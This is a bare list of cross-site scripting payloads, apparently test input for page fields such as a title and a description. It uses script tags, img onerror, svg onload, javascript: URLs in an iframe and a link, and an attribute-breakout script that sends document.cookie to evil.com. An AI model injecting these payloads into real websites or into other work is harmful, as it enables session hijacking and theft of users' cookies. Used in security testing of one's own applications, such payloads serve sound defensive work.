<script>alert('XSS-title')</script><img src=x onerror=alert(1)>

<svg/onload=alert('xss-desc')><iframe src="javascript:alert(2)"></iframe> "><script>document.location='http://evil.com/?c='+document.cookie</script> <a href="javascript:void(0)" onclick="alert('href')">click</a>